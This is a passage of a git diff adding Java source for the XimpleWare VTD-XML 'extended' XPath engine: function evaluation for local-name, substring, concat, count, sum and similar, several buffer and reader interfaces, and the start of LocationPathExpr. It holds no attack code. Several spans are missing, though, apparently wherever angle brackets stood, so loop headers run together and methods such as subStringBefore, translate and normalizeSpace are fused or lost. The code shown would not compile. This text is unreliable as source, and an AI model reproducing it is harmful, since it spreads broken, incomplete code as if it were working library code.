stackSize; + //position = 1; + first_time = true; + } + + public void reset2(VTDNavHuge vn){ + e.reset(vn); + p.reset(vn); + //fib.clear(); + } + + + public String toString() { + + return "("+e+") "+p; + } + + public boolean isNumerical() { + + return false; + } + + + public boolean isNodeSet() { + return true; + } + + /*public boolean isUnique(int i){ + int size = fib.size(); + for (int j=0; j> 16; + int QLen = length & 0xffff; + if (preLen != 0) + return vn.toRawString(offset + preLen+1, QLen + - preLen - 1); + else { + return vn.toRawString(offset, QLen); + } + } + } else + return ""; + }catch(NavExceptionHuge e){ + return ""; // this will almost never occur + } + + } else if (argCount() == 1){ + int a = -1; + vn.push2(); + try{ + a = argumentList.e.evalNodeSet(vn); + argumentList.e.reset(vn); + vn.pop2(); + }catch(Exception e){ + argumentList.e.reset(vn); + vn.pop2(); + } + + if (a == -1 || vn.ns == false) + return ""; + int type = vn.getTokenType(a); + if (type!=VTDNavHuge.TOKEN_STARTING_TAG && type!= VTDNavHuge.TOKEN_ATTR_NAME) + return ""; + try { + long offset = vn.getTokenOffset(a); + int length = vn.getTokenLength(a); + if (length < 0x10000) + return vn.toRawString(a); + else { + int preLen = length >> 16; + int QLen = length & 0xffff; + if (preLen != 0) + return vn.toRawString(offset + preLen+1, + QLen - preLen - 1); + else { + return vn.toRawString(offset, QLen); + } + } + } catch (NavExceptionHuge e) { + return ""; // this will almost never occur + } + } else + throw new IllegalArgumentException + ("local-name()'s argument count is invalid"); + } + + private String getNameSpaceURI(VTDNavHuge vn){ + if (argCount()==0){ + try{ + int i = vn.getCurrentIndex(); + int type = vn.getTokenType(i); + + if (vn.ns && (type == VTDNavHuge.TOKEN_STARTING_TAG + || type == VTDNavHuge.TOKEN_ATTR_NAME)) { + int a = vn.lookupNS(); + if (a == 0) + return ""; + else + return vn.toString(a); + } + return ""; + }catch (Exception e){ + return ""; + } + }else if (argCount()==1){ + vn.push2(); + int size = vn.contextStack2.size; + int a = -1; + try { + a = argumentList.e.evalNodeSet(vn); + } catch (Exception e) { + } + String s=""; + // return a; + try { + if (a == -1 || vn.ns == false) + ; + else { + int type = vn.getTokenType(a); + if (type == VTDNavHuge.TOKEN_STARTING_TAG + || type == VTDNavHuge.TOKEN_ATTR_NAME) + s= vn.toString(vn.lookupNS()); + + } + } catch (Exception e){} ; + vn.contextStack2.size = size; + argumentList.e.reset(vn); + vn.pop2(); + return s; + + }else + throw new IllegalArgumentException + ("namespace-uri()'s argument count is invalid"); + } + + private String getName(VTDNavHuge vn){ + int a; + if (argCount()==0){ + a = vn.getCurrentIndex(); + int type = vn.getTokenType(a); + + if (type == VTDNavHuge.TOKEN_STARTING_TAG + || type == VTDNavHuge.TOKEN_ATTR_NAME){ + try{ + return vn.toString(a); + }catch(Exception e){ + return ""; + } + } + else + return ""; + } else if (argCount() == 1){ + a = evalFirstArgumentListNodeSet2(vn); + try { + if (a == -1 || vn.ns == false) + return ""; + else { + int type = vn.getTokenType(a); + if (type == VTDNavHuge.TOKEN_STARTING_TAG + || type == VTDNavHuge.TOKEN_ATTR_NAME) + return vn.toString(a); + return ""; + } + } catch (Exception e) { + } + return ""; + }else + throw new IllegalArgumentException + ("name()'s argument count is invalid"); + + } + // ISO 639 + // http://www.loc.gov/standards/iso639-2/php/English_list.php + // below are defined two-letter words + // + // ab , aa , af, ak, sq, am, ar, an, hy, as, av, ae, ay, az, bm + // ba , eu , be, bn, bh, bi, nb, bs, br, bg, my, es, ca, km, ch + // ce , ny , zh, za, cu, cv, kw, co, cr, hr, cs, da, dv, dv, nl + // dz , en , eo, et, ee, fo, fj, fi, nl, fr, ff, gd, gl, lg, ka + // de , ki , el, kl, gn, gu, ht, ha, he, hz, hi, ho, hu, is, io + // ig , id , ia, ie, iu, ik, ga, it, ja, jv, kl, kn, kr, ks, kk + // ki , rw , ky, kv, kg, ko, kj, ku, kj, ky, lo, la, lv, lb, li + // ln , lt , lu, lb, mk, mg, ms, ml, dv, mt, gv, mi, mr, mh, mo + // mn , na , nv, nv, nd, nr, ng, ne, nd, se, no, nb, nn, ii, nn, + // ie , oc , oj, cu, or, om, os, pi, pa, ps, fa, pl, pt, oc, pa, + // ps , qu , ro, rm, rn, ru, sm, sa, sc, gd, sr, sn, ii, si, sk, + // sl , so , st, nr, es, su, sw, ss, sv, tl, ty, tg, ta, tt, te, + // th , bo , ti, to, ts, tn, tr, tk, tw, ug, uk, ur, ug, uz, ca, + // ve , vi , vo, wa, cy, fy, wo, xh, yi, yo, za, zu + + private boolean lang(VTDNavHuge vn, String s){ + // check the length of s + boolean b = false; + vn.push2(); + try { + while (vn.getCurrentDepth() >= 0) { + int i = vn.getAttrVal("xml:lang"); + if (i!=-1){ + b = vn.matchTokenString(i,s); + break; + } + vn.toElement(VTDNavHuge.P); + } + } catch (NavExceptionHuge e) { + + } + vn.pop2(); + return b; + } + private boolean startsWith(VTDNavHuge vn){ + String s2 = argumentList.next.e.evalString(vn); + if (argumentList.e.isNodeSet()){ + //boolean b = false; + int a = evalFirstArgumentListNodeSet(vn); + if (a==-1) + return "".startsWith(s2); + else{ + try{ + return vn.startsWith(a, s2); + }catch(Exception e){ + } + return false; + } + } + String s1 = argumentList.e.evalString(vn); + return s1.startsWith(s2); + } + + private boolean contains(VTDNavHuge vn){ + String s2 = argumentList.next.e.evalString(vn); + if (argumentList.e.isNodeSet()){ + int a = evalFirstArgumentListNodeSet(vn); + if (a==-1) + return false; + try { + return vn.contains(a, s2); + }catch (Exception e){ + return false; + } + } + String s1 = argumentList.e.evalString(vn); + + //return s1.contains(s2); + return s1.indexOf(s2)!=-1; + //return (s1.i)) + } + + private String subString(VTDNavHuge vn){ + if (argCount()== 2){ + String s = argumentList.e.evalString(vn); + double d1 = Math.floor(argumentList.next.e.evalNumber(vn)+0.5d); + if (d1!=d1 || d1>s.length()) + return ""; + return s.substring(Math.max((int)(d1-1),0)); + } else if (argCount() == 3){ + String s = argumentList.e.evalString(vn); + double d1 = Math.floor(argumentList.next.e.evalNumber(vn) + 0.5d); + double d2 = Math + .floor(argumentList.next.next.e.evalNumber(vn) + 0.5d); + //int i1 = Math.max(0, (int) d1 - 1); + if ((d1 + d2) != (d1 + d2) || d1 > s.length()) + return ""; + return s.substring(Math.max(0, (int) d1 - 1), Math.min(s.length(), + (int) (d1 - 1) + (int) d2)); + //(int) argumentList.next.next.e.evalNumber(vn)-1); + + } + throw new IllegalArgumentException + ("substring()'s argument count is invalid"); + } + private String subStringBefore(VTDNavHuge vn){ + if (argCount()==2){ + String s1 = argumentList.e.evalString(vn); + String s2 = argumentList.next.e.evalString(vn); + int len1 = s1.length(); + int len2 = s2.length(); + for (int i=0;i=2){ + Alist temp = argumentList; + while(temp!=null){ + sb.append(temp.e.evalString(vn)); + temp = temp.next; + } + return sb.toString(); + } else + throw new IllegalArgumentException + ("concat()'s argument count is invalid"); + } + + private String getString(VTDNavHuge vn){ + if (argCount()== 0) + try{ + if (vn.atTerminal){ + if (vn.getTokenType(vn.LN) == VTDNavHuge.TOKEN_CDATA_VAL ) + return vn.toRawString(vn.LN); + return vn.toString(vn.LN); + } + return vn.toString(vn.getCurrentIndex()); + } + catch(NavExceptionHuge e){ + return ""; // this will almost never occur + } + else if (argCount() == 1){ + return argumentList.e.evalString(vn); + } else + throw new IllegalArgumentException + ("String()'s argument count is invalid"); + } + + public String evalString(VTDNavHuge vn) throws UnsupportedException{ + //int d=0; + switch(opCode){ + case FuncName.CONCAT: + return concat(vn); + //throw new UnsupportedException("Some functions are not supported"); + + case FuncName.LOCAL_NAME: + return getLocalName(vn); + + case FuncName.NAMESPACE_URI: + return getNameSpaceURI(vn); + + case FuncName.NAME: + return getName(vn); + + case FuncName.STRING: + return getString(vn); + + case FuncName.SUBSTRING_BEFORE: return subStringBefore(vn); + case FuncName.SUBSTRING_AFTER: return subStringAfter(vn); + case FuncName.SUBSTRING: return subString(vn); + case FuncName.TRANSLATE: return translate(vn); + case FuncName.NORMALIZE_SPACE: return normalizeSpace(vn); + //case FuncName.LANG: return lang(vn) + case FuncName.CODE_POINTS_TO_STRING: + throw new com.ximpleware.extended.xpath.UnsupportedException("not yet implemented"); + case FuncName.UPPER_CASE:return upperCase(vn); + case FuncName.LOWER_CASE:return lowerCase(vn); + case FuncName.QNAME: + case FuncName.LOCAL_NAME_FROM_QNAME: + case FuncName.NAMESPACE_URI_FROM_QNAME: + case FuncName.NAMESPACE_URI_FOR_PREFIX: + case FuncName.RESOLVE_QNAME: + case FuncName.IRI_TO_URI: + case FuncName.ESCAPE_HTML_URI: + case FuncName.ENCODE_FOR_URI: + throw new com.ximpleware.extended.xpath.UnsupportedException("not yet implemented"); + default: if (isBoolean()){ + if (evalBoolean(vn)== true) + return "true"; + else + return "false"; + } else { + return ""+ evalNumber(vn); + } + } + } + public double evalNumber(VTDNavHuge vn){ + int ac = 0; + switch(opCode){ + case FuncName.LAST: if (argCount()!=0 ) + throw new IllegalArgumentException + ("floor()'s argument count is invalid"); + return contextSize; + case FuncName.POSITION: if (argCount()!=0 ) + throw new IllegalArgumentException + ("position()'s argument count is invalid"); + return position; + case FuncName.COUNT: return count(vn); + case FuncName.NUMBER: if (argCount()!=1) + throw new IllegalArgumentException + ("number()'s argument count is invalid"); + return argumentList.e.evalNumber(vn); + + case FuncName.SUM: return sum(vn); + case FuncName.FLOOR: if (argCount()!=1 ) + throw new IllegalArgumentException("floor()'s argument count is invalid"); + return Math.floor(argumentList.e.evalNumber(vn)); + + case FuncName.CEILING: if (argCount()!=1 ) + throw new IllegalArgumentException("ceiling()'s argument count is invalid"); + return Math.ceil(argumentList.e.evalNumber(vn)); + + case FuncName.STRING_LENGTH: + ac = argCount(); + if (ac == 0){ + try{ + if (vn.atTerminal == true){ + int type = vn.getTokenType(vn.LN); + if (type == VTDNavHuge.TOKEN_ATTR_NAME + || type == VTDNavHuge.TOKEN_ATTR_NS){ + return vn.getStringLength(vn.LN+1); + } else { + return vn.getStringLength(vn.LN); + } + }else { + int i = vn.getText(); + if (i==-1) + return 0; + else + return vn.getStringLength(i); + } + }catch (NavExceptionHuge e){ + return 0; + } + } else if (ac == 1){ + return argumentList.e.evalString(vn).length(); + } else { + throw new IllegalArgumentException("string-length()'s argument count is invalid"); + } + + case FuncName.ROUND: if (argCount()!=1 ) + throw new IllegalArgumentException("round()'s argument count is invalid"); + return Math.floor(argumentList.e.evalNumber(vn))+0.5d; + + case FuncName.ABS: if (argCount() != 1) + throw new IllegalArgumentException( + "abs()'s argument count is invalid"); + return Math.abs(argumentList.e.evalNumber(vn)); + case FuncName.ROUND_HALF_TO_EVEN : + case FuncName.ROUND_HALF_TO_ODD: + throw new com.ximpleware.extended.xpath.UnsupportedException("not yet implemented"); + + + default: if (isBoolean){ + if (evalBoolean(vn)) + return 1; + else + return 0; + }else { + try { + double dval = Double.parseDouble(evalString(vn)); + return dval; + }catch (NumberFormatException e){ + return Double.NaN; + } + } + } + } + + public int evalNodeSet(VTDNavHuge vn) throws XPathEvalExceptionHuge{ + throw new XPathEvalExceptionHuge(" Function Expr can't eval to node set "); + } + + public boolean evalBoolean(VTDNavHuge vn){ + switch(opCode){ + case FuncName.STARTS_WITH: + if (argCount()!=2){ + throw new IllegalArgumentException("starts-with()'s argument count is invalid"); + } + return startsWith(vn); + case FuncName.CONTAINS: + if (argCount()!=2){ + throw new IllegalArgumentException("contains()'s argument count is invalid"); + } + return contains(vn); + case FuncName.TRUE: if (argCount()!=0){ + throw new IllegalArgumentException("true() doesn't take any argument"); + } + return true; + case FuncName.FALSE:if (argCount()!=0){ + throw new IllegalArgumentException("false() doesn't take any argument"); + } + return false; + case FuncName.BOOLEAN: if (argCount()!=1){ + throw new IllegalArgumentException("boolean() doesn't take any argument"); + } + return argumentList.e.evalBoolean(vn); + case FuncName.NOT: if (argCount()!=1){ + throw new IllegalArgumentException("not() doesn't take any argument"); + } + return !argumentList.e.evalBoolean(vn); + case FuncName.LANG: + if (argCount()!=1){ + throw new IllegalArgumentException("lang()'s argument count is invalid"); + } + return lang(vn,argumentList.e.evalString(vn)); + case FuncName.COMPARE:throw new com.ximpleware.extended.xpath.UnsupportedException("not yet implemented"); + case FuncName.ENDS_WITH: + if (argCount()!=2){ + throw new IllegalArgumentException("starts-with()'s argument count is invalid"); + } + return endsWith(vn); + default: if (isNumerical()){ + double d = evalNumber(vn); + if (d==0 || d!=d) + return false; + return true; + }else{ + return evalString(vn).length()!=0; + } + } + } + + public void reset(VTDNavHuge vn){ + a = 0; + //contextSize = 0; + if (argumentList!=null) + argumentList.reset(vn); + } + + public String fname(){ + switch(opCode){ + case FuncName.LAST: return "last"; + case FuncName.POSITION: return "position"; + case FuncName.COUNT: return "count"; + case FuncName.LOCAL_NAME: return "local-name"; + case FuncName.NAMESPACE_URI: return "namespace-uri"; + case FuncName.NAME: return "name"; + case FuncName.STRING: return "string"; + case FuncName.CONCAT: return "concat"; + case FuncName.STARTS_WITH: return "starts-with"; + case FuncName.CONTAINS: return "contains"; + case FuncName.SUBSTRING_BEFORE: return "substring-before"; + case FuncName.SUBSTRING_AFTER: return "substring-after"; + case FuncName.SUBSTRING: return "substring"; + case FuncName.STRING_LENGTH: return "string-length"; + case FuncName.NORMALIZE_SPACE: return "normalize-space"; + case FuncName.TRANSLATE: return "translate"; + case FuncName.BOOLEAN: return "boolean"; + case FuncName.NOT: return "not"; + case FuncName.TRUE: return "true"; + case FuncName.FALSE: return "false"; + case FuncName.LANG: return "lang"; + case FuncName.NUMBER: return "number"; + case FuncName.SUM: return "sum"; + case FuncName.FLOOR: return "floor"; + case FuncName.CEILING: return "ceiling"; + case FuncName.ROUND: return "round"; + case FuncName.ABS: return "abs"; + case FuncName.ROUND_HALF_TO_EVEN : + return "round-half-to-even"; + case FuncName.ROUND_HALF_TO_ODD: + return "round-half-to-odd"; + case FuncName.CODE_POINTS_TO_STRING: + return "code-points-to-string"; + case FuncName.COMPARE: return "compare"; + case FuncName.UPPER_CASE: return "upper-case"; + case FuncName.LOWER_CASE: return "lower-case"; + case FuncName.ENDS_WITH: return "ends-with"; + case FuncName.QNAME: return "qname"; + case FuncName.LOCAL_NAME_FROM_QNAME: + return "local-name-from-QName"; + case FuncName.NAMESPACE_URI_FROM_QNAME: + return "namespace-uri-from-QName"; + case FuncName.NAMESPACE_URI_FOR_PREFIX: + return "namespace-uri-for-prefix"; + case FuncName.RESOLVE_QNAME: return "resolve-QName"; + case FuncName.IRI_TO_URI: return "iri-to-uri"; + case FuncName.ESCAPE_HTML_URI: return "escape-html-uri"; + default: return "encode-for-uri"; + } + } + public boolean isNodeSet(){ + return false; + } + + public boolean isNumerical(){ + return isNumerical; + } + + public boolean isString(){ + return isString; + } + + public boolean isBoolean(){ + return isBoolean; + } + + private int count(VTDNavHuge vn){ + int a = -1; + if (argCount()!=1 || argumentList.e.isNodeSet()==false) + throw new IllegalArgumentException + ("Count()'s argument count is invalid"); + vn.push2(); + try{ + a = 0; + argumentList.e.adjust(vn.getTokenCount()); + while(argumentList.e.evalNodeSet(vn)!=-1){ + a ++; + } + argumentList.e.reset(vn); + vn.pop2(); + }catch(Exception e){ + argumentList.e.reset(vn); + vn.pop2(); + } + return a; + } + + private double sum(VTDNavHuge vn){ + double d=0; + if (argCount() != 1 || argumentList.e.isNodeSet() == false) + throw new IllegalArgumentException("sum()'s argument count is invalid"); + vn.push2(); + try { + a = 0; + int i1; + while ((a =argumentList.e.evalNodeSet(vn)) != -1) { + int t = vn.getTokenType(a); + if (t == VTDNavHuge.TOKEN_STARTING_TAG){ + i1 = vn.getText(); + if (i1!=-1) + d += vn.parseDouble(i1); + if (Double.isNaN(d)) + break; + } + else if (t == VTDNavHuge.TOKEN_ATTR_NAME + || t == VTDNavHuge.TOKEN_ATTR_NS){ + d += vn.parseDouble(a+1); + if (Double.isNaN(d)) + break; + } + else if (t == VTDNavHuge.TOKEN_CHARACTER_DATA + || t == VTDNavHuge.TOKEN_CDATA_VAL){ + d += vn.parseDouble(a); + if (Double.isNaN(d)) + break; + } + // fib1.append(i); + } + argumentList.e.reset(vn); + vn.pop2(); + return d; + } catch (Exception e) { + argumentList.e.reset(vn); + vn.pop2(); + return Double.NaN; + } + + } + // to support computer context size + // needs to add + + public boolean requireContextSize(){ + if (opCode == FuncName.LAST) + return true; + else { + Alist temp = argumentList; + //boolean b = false; + while(temp!=null){ + if (temp.e.requireContextSize()){ + return true; + } + temp = temp.next; + } + } + return false; + } + + public void setContextSize(int size){ + if (opCode == FuncName.LAST){ + contextSize = size; + //System.out.println("contextSize: "+size); + } else { + Alist temp = argumentList; + //boolean b = false; + while(temp!=null){ + temp.e.setContextSize(size); + temp = temp.next; + } + } + } + + public void setPosition(int pos){ + if (opCode == FuncName.POSITION){ + position = pos; + //System.out.println("PO: "+size); + } else { + Alist temp = argumentList; + //boolean b = false; + while(temp!=null){ + temp.e.setPosition(pos); + temp = temp.next; + } + } + } + public int adjust(int n){ + int i = 0; + switch(opCode){ + case FuncName.COUNT: + case FuncName.SUM: + i = argumentList.e.adjust(n); + break; + default: + } + return i; + } + + private int evalFirstArgumentListNodeSet(VTDNavHuge vn){ + vn.push2(); + int size = vn.contextStack2.size; + int a = -1; + try { + a = argumentList.e.evalNodeSet(vn); + if (a != -1) { + if (vn.getTokenType(a) == VTDNavHuge.TOKEN_ATTR_NAME) { + a++; + } + if (vn.getTokenType(a) == VTDNavHuge.TOKEN_STARTING_TAG) { + a = vn.getText(); + } + } + } catch (Exception e) { + } + vn.contextStack2.size = size; + argumentList.e.reset(vn); + vn.pop2(); + return a; + } + + private int evalFirstArgumentListNodeSet2(VTDNavHuge vn){ + vn.push2(); + int size = vn.contextStack2.size; + int a = -1; + try { + a = argumentList.e.evalNodeSet(vn); + } catch (Exception e) { + } + vn.contextStack2.size = size; + argumentList.e.reset(vn); + vn.pop2(); + return a; + } + + private String upperCase(VTDNavHuge vn){ + if (argCount()==1){ + if (argumentList.e.isNodeSet()){ + int a = evalFirstArgumentListNodeSet(vn); + if (a==-1) + return ""; + else{ + try{ + return vn.toStringUpperCase(a); + }catch(Exception e){ + } + return ""; + } + }else { + return (argumentList.e.evalString(vn)).toUpperCase(); + } + }else + throw new IllegalArgumentException + ("upperCase()'s argument count is invalid"); + + } + + private String lowerCase(VTDNavHuge vn){ + if (argCount()==1){ + if (argumentList.e.isNodeSet()){ + int a = evalFirstArgumentListNodeSet(vn); + if (a==-1) + return ""; + else{ + try{ + return vn.toStringLowerCase(a); + }catch(Exception e){ + } + return ""; + } + }else { + return (argumentList.e.evalString(vn)).toLowerCase(); + } + }else + throw new IllegalArgumentException + ("lowerCase()'s argument count is invalid"); + } + + private boolean endsWith(VTDNavHuge vn){ + String s2 = argumentList.next.e.evalString(vn); + if (argumentList.e.isNodeSet()){ + int a = evalFirstArgumentListNodeSet(vn); + if (a==-1) + return "".startsWith(s2); + else{ + try{ + return vn.endsWith(a, s2); + }catch(Exception e){ + } + return false; + } + } + String s1 = argumentList.e.evalString(vn); + return s1.endsWith(s2); + } + +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/IByteBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/IByteBuffer.java new file mode 100644 index 0000000..9b1ac11 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/IByteBuffer.java @@ -0,0 +1,45 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; +/** + * Abstract XML document storage interface. + */ +public interface IByteBuffer { + + /** + * Get the byte at the given index of the underlying byte storage. + * @return byte + */ + byte byteAt(long index); + /** + * Return a byte array filled with content from underlying byte storage. + * @return byte[] + * @param offset int bytes offset (not UTF char unit) + * @param len int + */ + byte[] getBytes(int offset, int len); + /** + * Total size in terms of # of bytes. + * @return long + */ + long length(); + // get the whole XML + byte[] getBytes(); + + void writeToFileOutputStream(java.io.FileOutputStream ost, long offset, long length) throws java.io.IOException; +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/IIntBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/IIntBuffer.java new file mode 100644 index 0000000..cd4831c --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/IIntBuffer.java @@ -0,0 +1,43 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; +/** + * Abstract int buffer storage interface. + * Creation date: (11/23/03 6:14:40 PM) + */ +public interface IIntBuffer { +/** + * Get the int at the index value. + * Creation date: (11/23/03 6:15:33 PM) + * @param i int + */ +int intAt(int i); +/** + * Modify the int at index to value val. + * Creation date: (11/23/03 6:16:56 PM) + * @param index int + * @param val int + */ +void modifyEntry(int index, int val); +/** + * Get the total number of int in the buffer. + * Creation date: (11/23/03 7:21:25 PM) + * @return int + */ +int size(); +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/ILongBuffer.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/ILongBuffer.java new file mode 100644 index 0000000..36b6ddc --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/ILongBuffer.java @@ -0,0 +1,58 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; +/** + * Abstract long buffer storage interface + * Creation date: (11/23/03 6:13:38 PM) + */ +public interface ILongBuffer { +/** + * Get the long at the given index. + * Creation date: (11/23/03 6:29:53 PM) + * @return long + * @param index int + */ +long longAt(int index); +/** + * Get the lower 32 bit of the long at given index. + * Creation date: (11/23/03 6:45:27 PM) + * @return int + * @param index int + */ +int lower32At(int index); +/** + * Modify the entry at given index with a new val. + * Creation date: (11/23/03 6:42:57 PM) + * @param index int + * @param newVal long + */ +void modifyEntry(int index, long newVal); +/** + * Get the number of long in the buffer. + * Creation date: (11/23/03 7:22:25 PM) + * @return int + */ +int size(); +/** + * Get the upper 32 bit of the long at the given index. + * Creation date: (11/23/03 6:45:27 PM) + * @return int + * @param index int + */ +int upper32At(int index); +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/IReader.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/IReader.java new file mode 100644 index 0000000..afe7afe --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/IReader.java @@ -0,0 +1,43 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ +package com.ximpleware.extended; +/** + * Abstract Reader Class decodes underlying raw bytes. + * Creation date: (3/5/04 7:18:57 PM) + */ +interface IReader { + /** + * Get next available Char from the buffer. + * Creation date: (3/5/04 7:39:44 PM) + * @return boolean + * @exception com.ximpleware.ParseException Parse exception. + * @exception com.ximpleware.EncodingException Raw char to UCS conversion exception. + * @exception com.ximpleware.EOFException The end of file exception. + */ + int getChar() throws EOFExceptionHuge, ParseExceptionHuge, EncodingExceptionHuge; + /** + * Skip the next char if it is a match. + * Creation date: (3/5/04 7:39:44 PM) + * @return boolean + * @exception com.ximpleware.ParseException Parse exception. + * @exception com.ximpleware.EncodingException Raw char to UCS conversion exception. + * @exception com.ximpleware.EOFException The end of file exception. + */ + boolean skipChar(int ch) + throws ParseExceptionHuge, EncodingExceptionHuge, EOFExceptionHuge; +} diff --git a/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/LocationPathExpr.java b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/LocationPathExpr.java new file mode 100644 index 0000000..24c48d8 --- /dev/null +++ b/base_plugins/net.heartsome.xml/src/com/ximpleware/extended/LocationPathExpr.java @@ -0,0 +1,1888 @@ +/* + * Copyright (C) 2002-2012 XimpleWare, info@ximpleware.com + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + */ + +package com.ximpleware.extended; +import com.ximpleware.NodeTest; +import com.ximpleware.XPathEvalException; +import com.ximpleware.extended.xpath.*; +// if the context node is text(), +// then many axis simply won't work +/** + * LocationPathExpr implements the location path expression + * as defined in XPath spec + */ +public class LocationPathExpr extends Expr{ + + public static final int ABSOLUTE_PATH =0, + RELATIVE_PATH =1; + Step s; + Step currentStep; + int pathType; + int state; + //FastIntBuffer fib; // for uniqueness checking + intHash ih; + + public static final int START = 0, // initial state + END= 1, // return to begin + TERMINAL= 2, // no more next step + FORWARD = 3, // + BACKWARD= 4; + + public LocationPathExpr(){ + state = START; + s = null; + pathType = RELATIVE_PATH; + currentStep = null; + //fib = new FastIntBuffer(8);// page size 256 = 2^ 8 + ih = new intHash(); + } + + public void setStep(Step st){ + s = st; + } + + public void setPathType(int ptype){ + pathType = ptype; + } +// Improved version for uniqueness checking + public boolean isUnique(int i){ + return ih.isUnique(i); + } + + public void reset(VTDNavHuge vn){ + state = START; + Step temp = s; + ih.reset(); + currentStep = null; + while(temp!=null){ + temp.reset(vn); + temp = temp.nextS; + } + } + + public String toString(){ + String st = ""; + Step ts = s; + if (pathType == LocationPathExpr.ABSOLUTE_PATH){ + st = st+"/"; + } + if (ts == null) + return st; + else + return st + ts; + } + + public boolean evalBoolean(VTDNavHuge vn){ + boolean a = false; + vn.push2(); + // record stack size + int size = vn.contextStack2.size; + try{ + a = (evalNodeSet(vn) != -1); + + }catch (Exception e){ + } + //rewind stack + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + return a; + } + + public double evalNumber(VTDNavHuge vn){ + int a = -1; + vn.push2(); + int size = vn.contextStack2.size; + try { + a =evalNodeSet(vn); + if (a!=-1){ + if (vn.getTokenType(a)== VTDNavHuge.TOKEN_ATTR_NAME){ + a ++; + }else if (vn.getTokenType(a)== VTDNavHuge.TOKEN_STARTING_TAG) { + a = vn.getText(); + } + } + } catch (Exception e){ + + } + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + try{ + if (a!=-1) return vn.parseDouble(a); + }catch (NavExceptionHuge e){ + } + return Double.NaN; + } + + public String evalString(VTDNavHuge vn){ + vn.push2(); + int size = vn.contextStack2.size; + int a = -1; + try { + a = evalNodeSet(vn); + if (a != -1) { + if (vn.getTokenType(a) == VTDNavHuge.TOKEN_ATTR_NAME) { + a++; + } + if (vn.getTokenType(a) == VTDNavHuge.TOKEN_STARTING_TAG) { + a = vn.getText(); + } + } + + } catch (Exception e) { + } + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + try { + if (a != -1) + return vn.toString(a); + } catch (NavExceptionHuge e) { + } + return ""; + } + + public boolean isNodeSet(){ + return true; + } + + public boolean isNumerical(){ + return false; + } + + + private final int process_child(VTDNavHuge vn)throws XPathEvalExceptionHuge,NavExceptionHuge{ + int result; + boolean b = false, b1 = false; + //int contextSize; + Predicate t= null; + + switch(state){ + case START: + if (currentStep.nt.testType != NodeTest.TEXT){ + // first search for any predicate that + // requires contextSize + // if so, compute its context size + // if size > 0 + // set context + // if size ==0 + // immediately set the state to backward or end + t = currentStep.p; + while(t!=null){ + if (t.requireContextSize()){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + state = END; + break; + } + + b=vn.toElement(VTDNavHuge.FIRST_CHILD); + state = END; + if (b == true){ + do { + if (currentStep.eval(vn)) { + if (currentStep.getNextStep() != null){ + //currentStep.position++; + state = FORWARD; + currentStep = currentStep.getNextStep(); + } + 